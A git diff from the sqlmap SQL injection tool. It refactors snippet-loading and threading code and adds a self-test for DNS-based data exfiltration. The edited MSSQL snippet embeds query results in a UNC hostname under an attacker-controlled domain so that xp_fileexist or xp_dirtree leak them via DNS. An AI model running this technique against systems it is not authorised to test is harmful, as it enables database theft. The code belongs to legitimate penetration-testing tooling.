diff --git a/lib/core/common.py b/lib/core/common.py index bb5f3c44f..afb0af529 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1599,9 +1599,9 @@ def parseXmlFile(xmlFile, handler): parse(stream, handler) stream.close() -def getSPLSnippet(dbms, name, **variables): +def getSPQLSnippet(dbms, name, **variables): """ - Returns content of SPL snippet located inside "procs" directory + Returns content of SP(Q)L snippet located inside "procs" directory """ filename = os.path.join(paths.SQLMAP_PROCS_PATH, DBMS_DIRECTORY_DICT[dbms], "%s.txt" % name) diff --git a/lib/core/option.py b/lib/core/option.py index 3f4fd4d5d..ce6029fa8 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1438,6 +1438,7 @@ def __setKnowledgeBaseAttributes(flushAll=True): kb.delayCandidates = TIME_DELAY_CANDIDATES * [0] kb.dep = None kb.dnsMode = False + kb.dnsTest = None kb.docRoot = None kb.dumpMode = False kb.dynamicMarkings = [] diff --git a/lib/core/threads.py b/lib/core/threads.py index 1818ca3a6..e1cd35fc0 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -92,6 +92,13 @@ def exceptionHandledFunction(threadFunction): print logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) +def setDaemon(thread): + # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation + if PYVERSION >= "2.6": + thread.daemon = True + else: + thread.setDaemon(True) + def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True): threads = [] @@ -128,11 +135,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio for numThread in xrange(numThreads): thread = threading.Thread(target=exceptionHandledFunction, name=str(numThread), args=[threadFunction]) - # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation - if PYVERSION >= "2.6": - thread.daemon = True - else: - thread.setDaemon(True) + setDaemon(thread) try: thread.start() diff --git a/lib/request/dns.py b/lib/request/dns.py index 14af02e89..52c7c1178 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -90,6 +90,7 @@ class DNSServer: self._running = False thread = threading.Thread(target=_) + thread.daemon = True thread.start() if __name__ == "__main__": diff --git a/lib/request/inject.py b/lib/request/inject.py index 632b8c035..8630460fa 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -60,8 +60,7 @@ def __goInference(payload, expression, charsetType=None, firstChar=None, lastCha value = None count = 0 - if conf.dnsDomain: - value = dnsUse(payload, expression) + value = __goDns(payload, expression) if value is None: timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) @@ -81,6 +80,26 @@ def __goInference(payload, expression, charsetType=None, firstChar=None, lastCha return value +def __goDns(payload, expression): + value = None + + if conf.dnsDomain and kb.dnsTest is not False: + if kb.dnsTest is None: + randInt = randomInt() + kb.dnsTest = dnsUse(payload, "SELECT %d" % randInt) == str(randInt) + if not kb.dnsTest: + errMsg = "test for data retrieval through DNS channel failed. Turning off DNS exfiltration support" + logger.error(errMsg) + conf.dnsDomain = None + else: + infoMsg = "test for data retrieval through DNS channel was successful" + logger.info(infoMsg) + + if kb.dnsTest: + value = dnsUse(payload, expression) + + return value + def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, charsetType=None, firstChar=None, lastChar=None, dump=False): outputs = [] origExpr = None diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index e4910c71d..fc1591c2d 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -8,7 +8,7 @@ See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend -from lib.core.common import getSPLSnippet +from lib.core.common import getSPQLSnippet from lib.core.common import hashDBWrite from lib.core.common import isNoneValue from lib.core.common import pushValue @@ -67,7 +67,7 @@ class xp_cmdshell: debugMsg += "stored procedure" logger.debug(debugMsg) - cmd = getSPLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode)) + cmd = getSPQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode)) return cmd diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index 9ece5cd0f..a14105a5b 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -17,7 +17,7 @@ from lib.core.common import cleanQuery from lib.core.common import dataToStdout from lib.core.common import decodeHexValue from lib.core.common import extractRegexResult -from lib.core.common import getSPLSnippet +from lib.core.common import getSPQLSnippet from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import pushValue @@ -52,7 +52,7 @@ def dnsUse(payload, expression): if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE): output = hashDBRetrieve(expression, checkConf=True) - if output and PARTIAL_VALUE_MARKER in output: + if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None: output = None if output is None: @@ -68,10 +68,9 @@ def dnsUse(payload, expression): nulledCastedField = agent.hexConvertField(nulledCastedField) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) - expressionRequest = getSPLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain) + expressionRequest = getSPQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain) expressionUnescaped = unescaper.unescape(expressionRequest) - if Backend.isDbms(DBMS.MSSQL): comment = queries[Backend.getIdentifiedDbms()].comment.query query = agent.prefixQuery("; %s" % expressionUnescaped) @@ -96,9 +95,10 @@ def dnsUse(payload, expression): if output is not None: retVal = output - dataToStdout("[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output))) - if count > 0: - hashDBWrite(expression, output) + if kb.dnsTest is not None: + dataToStdout("[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output))) + if count > 0: + hashDBWrite(expression, output) if not kb.bruteMode: debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start)) @@ -108,6 +108,5 @@ def dnsUse(payload, expression): warnMsg = "DNS data exfiltration method through SQL injection " warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms() singleTimeWarnMessage(warnMsg) - conf.dnsDomain = None return retVal diff --git a/procs/mssqlserver/dns_request.txt b/procs/mssqlserver/dns_request.txt index 7307a6ccc..3c3a43520 100644 --- a/procs/mssqlserver/dns_request.txt +++ b/procs/mssqlserver/dns_request.txt @@ -1,4 +1,4 @@ DECLARE @host varchar(1024); SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%' + '.%DOMAIN%'; -EXEC('xp_fileexist "\\' + @host + '\c$boot.ini"'); +EXEC('xp_fileexist "\\' + @host + '\%PREFIX%%SUFFIX%"'); # or EXEC('xp_dirtree "\\' + @host + '."');